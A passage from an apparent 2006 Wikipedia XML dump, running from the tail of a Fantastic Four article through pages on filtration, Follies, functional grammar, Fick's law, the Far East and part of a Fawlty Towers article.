*In [[Runaways (comics)|Runaways]] volume 2 #1, a time-traveller made reference to a future team called the Fantastic Fourteen. Since various parts of that future have been referenced since (Gert becoming an Avenger, Victor as the son of Ultron) it may be that the Richards family will continue to grow...

*In the PBS cartoon [[Arthur (TV series)]], a 'daydream' sequence features Buster Baxter, Arthur's best friend, emerging from a space shuttle and exhibiting the powers of the FF (one limb streches, one bursts into flame, one turns invisible, and one turns into orange rock)

*Not necesarilly a parody, but in [[Slayers]], a character named Zelgadis has rocky skin. It's blue, though, not orange.

==See also==
* [[Bibliography of Fantastic Four titles]]
* [[Ultimate Fantastic Four]]
* [[Ultimate Marvel]]
* [[The Four]]
* [[Maximum Fantastic Four]]

==Footnotes==
*{{fnb|1}} Lee, Stan, ''Origins of Marvel Comics'' ([[Simon and Schuster]]/Fireside Books, 1974) p. 16. Note: Predates publisher's change to ampersand in corporate name.
*{{fnb|2}} Ibid.
*{{fnb|3}} Ibid., p. 17
*{{fnb|4}} For example, at [http://www.comicsreporter.com/index.php/briefings/commentary/38/ ''The Comics Reporter''] (&quot;Everybody picks this one, and with good reason. Possibly Stan Lee's best script, combined with Jack Kirby and Joe Sinnott at the height of their prowess. Photo-collages, giant Kirby machines, human drama....&quot;), [http://www.comicbookgalaxy.com/2006/01/first-look-barry-windsor-smiths-new.html ''Comic Book Galaxy''] (&quot;The greatest Ben Grimm story will always be &quot;This Man, This Monster&quot; from ''Fantastic Four'' #51&quot;), [http://www.cinescape.com/0/editorial.asp?aff_id=0&amp;obj_id=26618&amp;this_cat=Comics ''Cinescape''] (&quot;'This Man, This Monster' is still probably one of the best single issues of comics ''ever''&quot;), and [http://www.buzzscope.com/features.php?id=907 ''Buzzscope''] (&quot;[O]ne of the greatest FF, and therefore superhero comic stories, ever&quot;). The story was presented in its 20-page entirety in the book ''Marvel: Five Fabulous Decades of the World's Greatest Comics'' by Les Daniels (ISBN 0810938219).
{{fnb|5}} [http://www.ew.com/ew/report/0,6115,1078809_1_0_,00.html ''Entertainment Weekly'' July 1, 2005: &quot;'Fantastic' Voyage?: ''Fantastic Four'' has incredible trouble — The would-be blockbuster had a tough time getting released&quot;, by Scott Brown]

==References==
*[http://www.marvelpics.co.uk Official Marvel Picture site]
*[http://www.fantasticfourdvd.com Official Fantastic Four movie webpage]
*[http://www.ffplaza.com/ The Fantastic Four @ FFPlaza.com]
*[http://www.fantasticfourheadquarters.com/ A site looking at the critical history and media of the Fantastic Four]
*[http://www.knightmare6.com/faq/fantastic_four Knightmare6.com, Fantastic Four]
*[http://members.aol.com/drg4/ffx.html DRG4's Fantastic Four the Animated Series Page]
*[http://marvel.toonzone.net/fanfourtas/ Fantastic Four: The Animated Series (1994-5) @ Marvel Animation Age]
*[http://www.austinchronicle.com/issues/dispatch/1999-11-19/screens_video.html A review of the 1994 FF Film]
*[http://www.imdb.com/title/tt0120667/ The IMDb entry on the 2005 feature]
*[http://dialbforblog.com/archives/49/ Dial B for Blog: Secret Origins of the Fantastic Four]
*[http://www.teako170.com/ffmovie.html The Fantastic Four-Gotten: In-depth article of the 1994 film - includes cast/crew comments, interviews, photos]

==External links==
*[http://dmoz.org/Arts/Comics/Titles/F/Fantastic_Four/ DMOZ - Open source directory listing for The Fantastic Four]

[[Category:Fantastic Four]]
[[Category:Fictional families]]
[[Category:Marvel Comics superhero teams]]
[[Category:Marvel Comics titles]]

[[da:Fantastic Four]]
[[de:Die Fantastischen Vier (Comic)]]
[[es:Los 4 Fantásticos]]
[[fi:Ihmeneloset]]
[[fr:Les Quatre Fantastiques]]
[[he:ארבעת המופלאים]]
[[it:Fantastici Quattro]]
[[ja:ファンタスティック・フォー]]
[[nl:Fantastic Four]]
[[pt:Fantastic Four]]
[[simple:The Fantastic Four]]
[[sv:Fantastiska fyran]]</text>
    </revision>
  </page>
  <page>
    <title>Filtration</title>
    <id>11665</id>
    <revision>
      <id>39083872</id>
      <timestamp>2006-02-10T16:36:48Z</timestamp>
      <contributor>
        <username>World Pumps</username>
        <id>914351</id>
      </contributor>
      <text xml:space="preserve">:''This article is about the separation process.  For the mathematical concept see [[filtration (abstract algebra)]]. For the noun see [[filter]].''

In [[chemistry]] and [[alchemy]], '''filtration''' is the process of using a [[filter (chemistry)|filter]] to mechanically [[separation of mixtures|separate]] a [[mixture]].

==Methods of Filtration==
There are many different methods of filtration, but all aim to attain the [[separation of mixtures|separation]] of two or more substances. This is achieved by some form of interaction between the substance or objects to be removed and the filter. In addition the substance that is to pass through the filter must be a [[fluid]], i.e. a [[liquid]] or [[gas]].

The simplest method of filtration is to pass a solution of a solid and fluid through a porous interface so that the solid is trapped, while the fluid passes through. This principle relies upon the size difference between the particles making up the fluid, and the particles making up the solid.

By extending this principle, it is possible to separate any two things with a significant or reliable size difference. For example an experiment to prove the existence of [[Microorganism|microscopic organisms]] involves the comparison of water passed through unglazed [[porcelain]] and unfiltered [[water]]. When left in sealed containers the filtrated water takes longer to go foul, showing that very small items (such as [[bacterium|bacteria]]) can be removed from fluids by filtration.



A further disadvantage with the physical barrier method of filtration is that the substance being filtered from the fluid will clog the channels through the filter over time. Thus the filter becomes less and less efficient over time (for example, a [[vacuum cleaner]] bag). Thus methods have been developed to prevent this from happening. Most such methods involve replacing the filter. However, if the filter is needed for a continuous process, this is highly problematic, and complex scraping and in-situ cleaning mechanisms have to be used.

For separation where there is a very small size difference, chemical filters may be used. These will use a filter that has properties so that undesirable items are attracted and retained by the filter, and the fluid from which it is to be separated is not. Filters of this kind most often take the form of [[electrostatic]] attractions. These form of filters again have the problem of either becoming clogged, or the active sites on the filter all become used by the undesirable. However, most chemical filters are designed so that the filter can be flushed with a chemical that will remove the undesirables and allow the filter to be re-used.

Filtration is a more efficient method for the [[separation of mixtures]] than [[decantation]], but is much more time consuming. If very small amounts of [[solution]] are involved, most of the solution may be soaked up by the filter medium.

==Filter media==
*[[Filter paper]]
*[[Diatomaceous earth]]
*Expanded [[perlite]]
*[[Sinter]]ed [[glass]]
*[[Gasmask]]
*[[Wire mesh]]

==See also==
* [[Separation of mixtures]] 
* [[microfiltration]], [[ultrafiltration]], [[nanofiltration]], [[reverse osmosis]]

==External links==

*[http://www.filtsep.com Filtration+Separation website]


[[Category:Analytical chemistry]][[Category:Unit operations]][[Category:Alchemical processes]]

[[de:Filtration]]
[[fr:Filtration]]
[[ko:여과]]
[[nl:Filtratie]]
[[ja:ろ過]]
[[pl:Filtracja]]
[[zh:过滤]]</text>
    </revision>
  </page>
  <page>
    <title>Francis Ferdinand</title>
    <id>11667</id>
    <revision>
      <id>15909400</id>
      <timestamp>2004-06-15T02:13:55Z</timestamp>
      <contributor>
        <username>John Kenney</username>
        <id>10512</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Archduke Franz Ferdinand of Austria]]</text>
    </revision>
  </page>
  <page>
    <title>Follies</title>
    <id>11668</id>
    <revision>
      <id>35669769</id>
      <timestamp>2006-01-18T12:53:07Z</timestamp>
      <contributor>
        <username>Urbane legend</username>
        <id>208031</id>
      </contributor>
      <comment>Multiple - see talk</comment>
      <text xml:space="preserve">{{dablink|This article is about the musical. For the architectural term, see [[Folly]].}}

'''''Follies''''' is a [[Musical theater|musical]] with music and lyrics by [[Stephen Sondheim]] and a book by [[James Goldman]].

==Synopsis==

''Follies'' is set in a crumbling old [[Broadway theatre|Broadway]] theatre, scheduled for demolition, during a reunion for all the past members of the &quot;Weismann&amp;rsquo;s Follies&quot;; a musical [[revue]] (based on the [[Ziegfeld Follies]]) which played in that theatre between the World Wars.  The musical mostly focuses on two couples, Buddy and Sally Durant Plummer and Ben and Phyllis Rogers Stone, who are attending the reunion.  Sally and Phyllis were both showgirls in the Follies as are many of the other guests. Both marriages are having problems because Buddy, a traveling salesman, is having an affair with a girl on the road, Sally is still in love with Ben as she was years ago, and Ben is so self-absorbed that Phyllis feels emotionally abandoned.

The two couples interact with each other and other partygoers, and throughout the first half, musical numbers from the old Follies are performed by the characters, sometimes accompanied by the ghosts of their former selves.  These songs are [[pastiche]]s of songs by popular songwriters of the past. The second half contains a string of [[vaudeville]]-style numbers reflecting the characters' own problems and joys, before returning to the theatre for the end of the reunion party.

==Musical numbers==

'''Act I'''
*Beautiful Girls
*Don't Look at Me
*Waiting for the Girls Upstairs
*Rain on the Roof
*Ah, Paris!
*Broadway Baby
*Road You Didn't Take
*In Buddy's Eyes
*Who's That Woman?
*I'm Still Here
*Too Many Mornings''

'''Act II'''
*Right Girl
*One More Kiss
*Could I Leave You?
*Loveland
*You're Gonna Love Tomorrow
*Love Will See Us Through
*The God-Why-Don't-You-Love-Me-Blues
*Losing My Mind
*Ah, But Underneath...
*Live, Laugh, Love
*Finale

==Original production and revivals==

''Follies'' opened on April 4, 1971 at the [[Winter Garden Theatre]] on Broadway.  It starred [[Alexis Smith]], [[John McMartin]], [[Dorothy Collins]], [[Gene Nelson]], and [[Yvonne De Carlo]], along with several veterans of the Broadway and vaudeville stage.

The plum supporting role of Carlotta Campion, the world-weary ex-Follies girl who sings the showstopping &quot;I'm Still Here,&quot; is usually performed by a once-celebrated performer making a final return to the stage.  [[Yvonne De Carlo]] created the role in [[1971]].  The [[1985]] concert featured [[Carol Burnett]] in the role, and [[Dolores Gray]] played Carlotta in the [[1987]] London production, which also featured [[Diana Rigg]], [[Daniel Massey]], [[Julia McKenzie]], [[Lynda Baron]], [[Leonard Sachs]], [[Maria Charles]], [[Pearl Carr &amp; Teddy Johnson]].  The 1998 [[Paper Mill Playhouse]] revival featured the legendary [[MGM]] star [[Ann Miller]] in the role or Carlotta. Shortly thereafter another former MGM star, [[Betty Garrett]], played the role of Hattie in the short-lived 2001 Broadway revival, which also starred [[Blythe Danner]], [[Judith Ivey]], [[Treat Williams]], [[Gregory Harrison]], [[Polly Bergen]] and an assortment of famous names from the past.  It was significantly stripped down (previous productions, especially the original, were most notable for their extravagant sets and costumes) and was not a success critically or financially.

The musical has undergone numerous revisions over the years.  The initial production was praised in many areas but the book and dialogue were judged to be lacking; Goldman subsequently revised his work right up to his death, which occurred shortly before the 1998 Paper Mill production.  Sondheim too has added and removed songs that he judged to be problematic in various productions.  The 1987 London production was significantly changed, and was, in the opinion of critics who saw it in New York (such as [[Frank Rich]]), substantially more &quot;upbeat&quot; and lacking in the atmosphere it had originally possessed.

==Trivia==

''Follies'' was voted ninth in a [[BBC Radio 2]] listener [[opinion poll|poll]] of the UK's &quot;Nation's Number One Essential Musicals&quot;. [http://www.bbc.co.uk/radio2/shows/paige/essentialvote.shtml]

== External links ==

*[http://www.geocities.com/joecable1997/follies.html Live, Laugh, Love: Follies]
*[http://www.sondheim.com/features/im_still_what.html List of references in &quot;I'm Still Here&quot;]

[[Category:Musicals]]</text>
    </revision>
  </page>
  <page>
    <title>Functional grammar</title>
    <id>11669</id>
    <revision>
      <id>39769578</id>
      <timestamp>2006-02-15T19:33:18Z</timestamp>
      <contributor>
        <username>Florian Huber</username>
        <id>231921</id>
      </contributor>
      <minor />
      <text xml:space="preserve">: ''There is a disambiguation page for other senses of [[functionalism]].''

'''Functional grammar''' is the name given to any of a range of [[grammatical function|functionally]]-based approaches to the scientific study of language, such as the [[grammar]] model developed by [[Simon C. Dik|Simon Dik]] or [[Michael Halliday]]'s [[Systemic functional grammar]]; another important figure in recent linguistic functionalism is [[Talmy Givón]]. 

Dik characterises functional grammar as follows:

''In the functional paradigm a language is in the first place conceptualized as an instrument of social interaction among human beings, used with the intention of establishing communicative relationships. Within this paradigm one attempts to reveal the instrumentality of language with respect to what people do and achieve with it in social interaction. A natural language, in other words, is seen as an integrated part of the [[communicative competence]] of the natural language user.''(2, p. 3)

Because of its emphasis on usage, [[communicative function]], and the social context of language, functional grammar differs significantly from other linguistic theories which stress purely [[formal]] approaches to grammar, for instance Chomskyan [[generative grammar]]. Functional grammar is strongly associated with the school of [[linguistic typology]] that takes its lead from the work of [[Joseph Greenberg]].

==References==
# [http://www.functionalgrammar.com/ Functional grammar home page] 
# Dik, SC, The Theory of Functional Grammar (Part I: The Structure of the clause), 1989

{{ling-stub}}

[[Category:Grammar frameworks]]

[[de:Functional Grammar]]
[[it:Grammatica funzionale]]</text>
    </revision>
  </page>
  <page>
    <title>Fick's law of diffusion</title>
    <id>11671</id>
    <revision>
      <id>41851369</id>
      <timestamp>2006-03-02T03:41:24Z</timestamp>
      <contributor>
        <username>Gene Nygaard</username>
        <id>146986</id>
      </contributor>
      <comment>/* Temperature dependence of the Diffusion coefficient */ copyedit</comment>
      <text xml:space="preserve">'''Fick's laws of diffusion''' describe [[diffusion]], and define the '''diffusion coefficient''' ''D''.

== History ==

Fick's laws of diffusion were derived by [[Adolf Fick]] in the year [[1855]].

== Fick's First Law ==
Fick's First Law is used in steady state [[diffusion]], i.e., when the concentration within the diffusion volume does not change with respect to time (J&lt;sub&gt;in&lt;/sub&gt;=J&lt;sub&gt;out&lt;/sub&gt;).

&lt;math&gt;J = - D \frac{\partial \phi}{\partial x}&lt;/math&gt;

Where

* &lt;math&gt;J&lt;/math&gt; is the diffusion flux in dimensions of [parts length&lt;sup&gt;-2&lt;/sup&gt; time&lt;sup&gt;-1&lt;/sup&gt;], [mol m&lt;sup&gt;-2&lt;/sup&gt; s&lt;sup&gt;-1&lt;/sup&gt;]
* &lt;math&gt;D&lt;/math&gt; is the '''diffusion coefficient''' or '''[[mass diffusivity|diffusivity]]''' in dimensions of [length&lt;sup&gt;2&lt;/sup&gt; time&lt;sup&gt;-1&lt;/sup&gt;], [m&lt;sup&gt;2&lt;/sup&gt; s&lt;sup&gt;-1&lt;/sup&gt;]
* &lt;math&gt;\Phi&lt;/math&gt; is the concentration in dimensions of [parts length&lt;sup&gt;-3&lt;/sup&gt;], [mol m&lt;sup&gt;-3&lt;/sup&gt;]
* &lt;math&gt;x&lt;/math&gt; is the position [length], [m]

== Fick's Second Law ==

Fick's Second Law is used in non-steady or continually changing state diffusion, i.e., when the concentration within the diffusion volume changes with respect to time. 

:&lt;math&gt;\frac{\partial \phi}{\partial t} = D \frac{\partial^2 \phi}{\partial x^2}&lt;/math&gt;

Where

* &lt;math&gt;\Phi&lt;/math&gt; is the concentration in dimensions of [parts length&lt;sup&gt;-3&lt;/sup&gt;], [mol dm&lt;sup&gt;-3&lt;/sup&gt;]
* &lt;math&gt;t&lt;/math&gt; is time [s]
* &lt;math&gt;D&lt;/math&gt; is the diffusion coefficient in dimensions of [length&lt;sup&gt;2&lt;/sup&gt; time&lt;sup&gt;-1&lt;/sup&gt;], [m&lt;sup&gt;2&lt;/sup&gt; s&lt;sup&gt;-1&lt;/sup&gt;]
* &lt;math&gt;x&lt;/math&gt; is the position [length], [m]

It can be derived from the First Fick's law and the material balance:

:&lt;math&gt;\frac{\partial \phi}{\partial t} =-\frac {\partial} {\partial x} J = \frac {\partial} {\partial x} (D \frac {\partial} {\partial x} \phi)  &lt;/math&gt;

Assuming the diffusion coefficient ''D'' to be a constant we can exchange the orders of the differentiating and multiplying on the constant:
:&lt;math&gt;  \frac {\partial} {\partial x} (D \frac {\partial} {\partial x} \phi) = D \frac {\partial} {\partial x}  \frac {\partial} {\partial x} \phi= D \frac{\partial^2 \phi}{\partial x^2}&lt;/math&gt;
and, thus, receive the form of the Fick's equations as was stated above.

For the case of 3-dimensional diffusion the Second Fick's Law looks like:
:&lt;math&gt;\frac{\partial \phi}{\partial t} = D \nabla^2 \phi&lt;/math&gt;,
where &lt;math&gt;\nabla&lt;/math&gt; is the usual [[del]] operator.

Finally if the diffusion coefficient is not a constant, but depends upon the coordinate and/or concentration, the Second Fick's Law looks like:
:&lt;math&gt;\frac{\partial \phi}{\partial t} =  \nabla (D \nabla \phi)&lt;/math&gt;

== Applicability ==

Fick's law based equations have been commonly used to model [[Passive transport|transport processes]] in [[food]]s, [[biopolymer]]s, [[Pharmacology|pharmaceuticals]], [[porous]] [[soil]]s, [[semiconductor]] doping process, etc.  A large amount of [[experiment]]al research in [[polymer]] science and food science has shown that more general approach is required to describe transport of components in materials undergoing [[glass transition]].  In the vicinity of [[glass transition]] the flow behavior becomes '''non-Fickian''''. See also non-diagonal coupled transport processes ([[Onsager]] relationship). &lt;!-- Onsager = important point to be still developped --&gt;

== Temperature dependence of the Diffusion coefficient ==

The diffusion coefficient at different temperatures is often found to be well predicted by

&lt;math&gt;D = D_0 e^{-\frac{Q}{RT}}&lt;/math&gt;

Where:
* D is the diffusion coefficient
* D&lt;sub&gt;0&lt;/sub&gt; is the maximum diffusion coefficient (at infinite temperature) 
* Q is the activation energy for diffusion in dimensions of [energy / parts]
* T is the temperature in units of [absolute temperature] ([[kelvin]]s or degrees [[Rankine]])
* R is the [[gas constant]] in dimensions of [energy temperature&lt;sup&gt;-1&lt;/sup&gt; parts&lt;sup&gt;-1&lt;/sup&gt;]


Typically, a compound's diffusion coefficient is 10,000x greater in air than in water. Carbon dioxide in air has a diffusion coefficient of 16 mm²/s, and in water, its coefficient is 0.0016 mm²/s [http://www.cco.caltech.edu/~brokawc/Bi145/Diffusion.html].

== A Biological Perspective ==

The first law gives rise to the formula

:&lt;math&gt;\mathrm{Rate\ of\ diffusion} = \frac{K A (P_2 - P_1)}{D}&lt;/math&gt;

It states that the rate of diffusion of a gas across a membrane is

*Constant for a given gas at a given temperature by an experimentally determined factor, &lt;math&gt;K&lt;/math&gt;
*Proportional to the surface area over which diffusion is taking place, &lt;math&gt;A&lt;/math&gt;
*Proportional to the difference in [[partial pressure]]s of the gas across the [[membrane]], &lt;math&gt;P_2 - P_1&lt;/math&gt;
*Inversely proportional to the distance over which diffusion must take place, or in other words the thickness of the membrane, &lt;math&gt;D&lt;/math&gt;.

Fick's first law is also important in radiation transfer equations.  However, in this context it becomes inaccurate when the diffusion constant is low and the radiation becomes limited by the speed of light rather than by the resistance of the material the radiation is flowing through.  In this situation, one can use a [[flux limiter]].

The exchange rate of a gas across a fluid membrane can be determined by using this law together with [[Graham's law]].

== See also ==

* [[Gas exchange]]
* [[Lung]]
* [[Alveoli]]

==External links==

*[http://www.diffusion-polymers.com/messages/406.html Diffusion coefficient] - diffusion-polymers.com

== References ==

* A. Fick, ''Phil. Mag.'' (1855), '''10''', 30.
* A. Fick, ''Poggendorff's Annel. Physik.'' (1855), '''94''', 59.
* W.F. Smith, ''Foundations of Materials Science and Engineering 3&lt;sup&gt;rd&lt;/sup&gt; ed.'', McGraw-Hill (2004)

[[Category:Diffusion]]
[[Category:Statistical mechanics]]
[[Category:Physical chemistry]]
[[Category:Eponymous laws]]
[[de:Diffusion]]
[[ja:&amp;#12501;&amp;#12451;&amp;#12483;&amp;#12463;&amp;#12398;&amp;#27861;&amp;#21063;]]
[[nl:Wet van Fick]]
[[sv:Ficks lag]]</text>
    </revision>
  </page>
  <page>
    <title>Far East</title>
    <id>11672</id>
    <revision>
      <id>37354637</id>
      <timestamp>2006-01-30T13:16:13Z</timestamp>
      <contributor>
        <username>Absar</username>
        <id>832787</id>
      </contributor>
      <text xml:space="preserve">'''''Far East''''' is an inexact term often used for [[East Asia]] and [[Southeast Asia]] combined, sometimes including also the easternmost territories of [[Russia]], i.e., the '''[[Russian Far East]]''', and the western [[Pacific Ocean]] region. 

[[Image:Japon Tokyo1.jpg|200px|thumbnail|[[Tokyo]], [[Japan]]]]
[[Image:Lit-up_CBD_from_Raffles_City_-_RGW.jpg|thumb|right|200px|The [[central business district]] of [[Singapore]]]] 
[[Image:Hong_Kong_Skyline_by_mkeky.jpg|thumb|right|200px|Skyline of [[Hong Kong Island]], taken from [[Tsim Sha Tsui]], [[Kowloon]], [[Hong Kong]]]]

''Far East'' is sometimes used synonymously with [[East Asia]], which may be defined in geographic or cultural terms to include historical [[China]] (excluding [[Tibet]] and [[Xinjiang]]), [[Japan]], [[Korea]], and [[Vietnam]]. But it commonly encompasses the states and cultures of [[Southeast Asia]], such as [[Cambodia]], [[Malaysia]], [[Myanmar]], and [[Thailand]], [[Indonesia]] and the [[Philippines]].

It was well popularized in the [[English language]] during the period of the [[British Empire]] as a blanket term for lands to the east of [[British India]]. Prior to [[World War I]], the ''[[Near East]]'' referred to relatively nearby lands of the [[Ottoman Empire]], ''[[Middle East]]'' to [[South Asia]] and [[Central Asia]], and ''Far East'' for countries along the western Pacific Ocean. Many European languages have analogous terms, such as the [[French language|French]] ''[[:fr:Extrême-Orient|Extrême-Orient]]'', [[German language|German]] ''[[:de:Ferner Osten|Ferner Osten]]'', [[Italian language|Italian]] ''Estremo oriente'', and [[Dutch language|Dutch]] ''[[:nl:Verre Oosten|Verre Oosten]]''. 

In [[Orientalism|Orientalist]] usage, it evokes cultural, as well as geographic separation, an exotic in addition to a distant locale. ''Far East'' never refers, for instance, to the culturally western nations of Australia and New Zealand, which lie even farther to the east of Europe than much of East Asia. ''Far East'' in this sense is comparable to terms such as ''the [[Orient]]'', which means [[East]]; the ''[[Eastern]] world''; or simply the ''[[Eastern|East]]''. 

The [[United Kingdom]] and [[United States]] historically used &quot;Far East&quot; for several units and commands in the region:
* [[British Far East Command]]
* [[RAF Far East Air Force]]
* [[U.S. Far East Air Force]]
* [[U.S. Far East Command]]
* The U.S. [[Far East Network]]

In addition, the post-[[World War II]] trials of [[Imperial Japan]]ese war criminals was titled the [[International Military Tribunal for the Far East]].

Use of the term in the [[Western world]] has become somewhat circumscribed due to its [[Eurocentrism]] and association with European [[imperialism in Asia]]. The more precise ''East Asia'' and ''Southeast Asia'', or larger umbrella terms, such as ''Pacific Rim'', are preferred in cultural and economic studies. The region's growth has given new meaning to the term as meaning the Far East of the world (i.e. the easternmost continental land in the [[Eastern Hemisphere]]) rather than to the Far East of Europe. Many commercial enterprises and institutions are named &quot;Far East,&quot; like that of [[Far Eastern National University]] in Vladivostok, [[Far Eastern University]] in the City of Manila, and as South Korean's [[Far East University]], and the [[Hong Kong]]-based ''[[Far Eastern Economic Review]]''.

In [[Russia|Russian Federation]], the term &quot;Far East&quot; ([[Russian language|Russian]]: ''дальний восток'') usually refers only to Eastern regions of the country (most often [[Vladivostok]] and [[Khabarovsk]]), and the term &quot;East Asia&quot; is used when describing foreign countries in the region.

==References==
* Whitaker, Brian.  &quot;[http://www.guardian.co.uk/elsewhere/journalist/story/0,7792,1154165,00.html From Turkey to Tibet],&quot; ''[[The Guardian]]'', February 23, 2004.
[[Category:Asia]]

{{region}}

[[cs:Dálný východ]]
[[de:Ferner Osten]]
[[fr:Extrême-Orient]]
[[ja:極東]]
[[ko:극동]]
[[nl:Verre Oosten]]
[[tr:Uzak Doğu]]</text>
    </revision>
  </page>
  <page>
    <title>Fawlty Towers</title>
    <id>11673</id>
    <revision>
      <id>41414678</id>
      <timestamp>2006-02-27T04:07:58Z</timestamp>
      <contributor>
        <ip>66.65.127.113</ip>
      </contributor>
      <text xml:space="preserve">{{infobox television |[[Lop]]
  | show_name = Fawlty Towers
  | image = [[Image:Fawlty_towers.jpg]]
  | caption = The cast of Fawlty Towers, clockwise from top: Basil Fawlty ([[John Cleese]]), Sybil Fawlty ([[Prunella Scales]]), Manuel ([[Andrew Sachs]]) and Polly Sherman ([[Connie Booth]])
  | format = [[Comedy]] 
  | runtime = 30 minutes
  | creator =  John Cleese&lt;br&gt;Connie Booth
  | starring = John Cleese&lt;br&gt;Connie Booth&lt;br&gt;Prunella Scales&lt;br&gt;Andrew Sachs 
  | country = [[United Kingdom]]
  | network = [[BBC]]
  | first_aired = [[1975 in television|1975]]
  | last_aired = [[1979 in television|1979]]
  | num_episodes = 12
|}}

'''''Fawlty Towers''''' was a [[British sitcom]] made by the [[BBC]] and first broadcast on [[BBC Two|BBC2]] in 1975. It is set in a [[fiction|fictional]] [[hotel]] named Fawlty Towers in the [[Devon]] [[town]] of [[Torquay]] on &quot;the English Riviera&quot;. Only twelve episodes were ever broadcast, but the series has had a lasting and powerful influence on later shows.  The show was written by [[John Cleese]] and [[Connie Booth]], who also played the main characters, and was broadcast in two series:  The first, in 1975, was produced and directed by [[John Howard Davies]], and the second, in 1979, was produced by [[Douglas Argent]] and directed by [[Bob Spiers]].

In a list of the [[100 Greatest British Television Programmes]] drawn up by the [[British Film Institute]] in 2000, voted for by industry professionals, ''Fawlty Towers'' was placed first [http://www.bfi.org.uk/features/tv/100/index.html]. It was also voted fifth in the [[BBC|BBC's]] &quot;[[Britain's Best Sitcom]]&quot; poll in 2004, though many commentators considered this to be surprisingly low[http://www.bbc.co.uk/sitcom/winner.shtml].

==Background and inspiration==

Even before this programme existed, English seaside boarding houses and their proprietors had something of a reputation for firmness and intransigence, possibly stemming from the days when soldiers were billeted in small hotels during wartime or national service. Cleese had also parodied the contrast between organisational dogma and sensitive customer service in many personnel training videotapes issued with a serious purpose by his company [[Video Arts]]. Basil Fawlty's behaviour can often be taken to represent macho management at its worst. 

''Fawlty Towers'' was inspired by the [[Monty Python]] team's stay in the Gleneagles Hotel in [[Torquay]] [http://www.opinion.telegraph.co.uk/news/main.jhtml?xml=/news/2002/05/11/nfawlt11.xml].  Cleese and Booth stayed on at the hotel after filming for the Python show had finished.  The owner, Mr. [[Donald Sinclair]], was very rude, throwing a bus timetable at a guest who asked when the next bus to town would arrive and placing [[Eric Idle]]'s suitcase behind a wall in the garden in case it contained a bomb (actually it contained a ticking alarm clock). He also criticised the American-born [[Terry Gilliam]]'s table manners for being too American, and it is reasonable to assume that his treatment of Gilliam partially inspired Basil's treatment of an American visitor in the episode &quot;Waldorf Salad&quot;.

For the outside taping, instead of an actual hotel, the Wooburn Grange [[Country Club]] in [[Buckinghamshire]] was used. It served as a [[nightclub]] named &quot;Basil's&quot; for a short time after the series ended, until it was destroyed by fire in March 1991. The remnants of the building were demolished and the site was bought by developers.

Sinclair died in 1981, having emigrated to [[Canada]] in the 1970s where he was once tracked down by a British newspaper after Cleese named him in an interview. (Interestingly, Basil Fawlty displayed an affinity for Canada on a couple of occasions in the series, once joking that he would move there to escape his wife.) Mr Sinclair and his relatives have never been too happy about the way he has been portrayed, and his widow Betty is now campaigning to remove what she sees as a slur on her husband's reputation, but former staff and visitors have remembered actual events there that were allegedly as ludicrous as those depicted in the programmes. Also the children of Donald Sinclair confirm that it is an accurate rendition of their father.{{fact}}

==Credits==
The cast:
* Basil Fawlty     (played by [[John Cleese]])
* Sybil Fawlty     ([[Prunella Scales]])
* Polly Sherman    ([[Connie Booth]])
* Manuel           ([[Andrew Sachs]])
* Major Gowen      ([[Ballard Berkeley]])
* Miss Tibbs       ([[Gilly Flower]])
* Miss Gatsby      (Renee Roberts)
* Terry the Chef   ([[Brian Hall (actor)|Brian Hall]])

==Characters==
{{Spoiler}}
====Basil Fawlty====

Basil is a [[Snob|snobbish]], [[Miser|miserly]], [[Xenophobia|xenophobic]] and sexually repressed [[Paranoia|paranoiac]] who is desperate to belong to a higher social class. He sees the successful running of the hotel as a means of achieving this (&quot;''turn it into an establishment of class...''&quot;), yet his job forces him to be pleasant to people he despises or aspires to be above socially. 

While he is terrified of his wife's sharp tongue, he wishes to stand up to her and his plans often conflict with her wishes. She is often verbally abusive towards him (describing him as &quot;''an ageing, brilliantined stick insect''&quot;) and though he is much taller than Sybil, he often finds himself on the receiving end of Sybil's temper, expressed verbally or physically. Basil usually turns to Manuel or Polly to help him with whatever scheme he has planned, while trying his best to prevent Sybil from finding out.

Basil served in the Catering Corps of the [[British Army]], possibly as part of his [[National Service]] and it is assumed that, on leaving, he used his gratuity to buy a hotel. He is often seen wearing a military tie and a military-type moustache. He also claims to have sustained an injury to his leg in the [[Korean War]] caused by [[shrapnel]].

[[John Cleese]] himself described Basil as thinking that he could run a first-rate hotel if he didn't have all the guests getting in the way.

====Sybil Fawlty====
As Basil's wife, she's the only one that refers to him by his first name. She is often seen to be a more effective manager of the hotel, making sure Basil either gets certain jobs done or stays out of the way when handling difficult customers. Despite this, however, she rarely participates directly in the running of the hotel; during busy check-in sessions or meal-times, whilst everyone else is busy working around her she's frequently found talking on the phone to one of her friends (usually 'Audrey', who makes a rare on-camera appearance in ''The Anniversary'') or chatting to customers. She is characterised by an arguably annoying conversational tone and laugh, which her husband compares to 'someone machine-gunning a seal'. Basil also refers to her by a number of epithets, occasionally to her face: these include &quot;the dragon&quot;, &quot;toxic midget&quot;, &quot;my little nest of vipers&quot;, &quot;my little piranha fish&quot;, &quot;my little commandant&quot; and &amp;mdash; memorably &amp;mdash; &quot;a rancorous, coiffured old sow&quot;.

====Polly Sherman====
Polly, employed as a [[waitress]], is often stuck doing many other jobs in the hotel.  She is also the voice of sanity, although she loyally attempts to aid Mr. Fawlty when he is trying to cover for a mistake he's made.

Polly is, in theory, only employed part-time, and is supposedly an art student: in one episode, she is seen to draw a sketch (presumably an [[impressionist|impressionistic]] [[caricature]]) of Basil, which everyone but Basil immediately recognizes.  Which art college she studies at, or indeed if she actually does, is not explained.  She does find time to sketch, and has managed to sell some occasionally to supplement her meagre waitressing income, even to the hotel guests.

====Manuel====
Manuel, the [[waiter]], is a well-meaning but disorganized and constantly confused [[Spain|Spaniard]] (from [[Barcelona]]) with a limited grasp of the [[English language]] and customs.  He is afraid of Mr. Fawlty's quick temper and violent assaults, yet often expresses his appreciation for being given the position. When told by either Basil, Sybil or Polly what to do, he answers &quot;qué?&quot; which means 'what?' and &quot;si&quot; is 'yes'

His less than flattering portrayal of the Spanish resulted in the character's nationality being switched to [[Italy|Italian]] for the Spanish dub of the show [http://www.imdb.com/title/tt0072500/trivia].

====Other regular characters====
* Terry the Chef is probably the next most important character after Polly and Manuel. Terry's cooking style is quite relaxed and Basil occasionally gets frustrated with his &quot;It's all right&quot; attitude. Terry arrives in the second season after the relief of Curt (only seen in ''Gourmet Night''). He used to work in [[Dorchester, Dorset|Dorchester]] (not at [[Dorchester Hotel|The Dorchester]]).

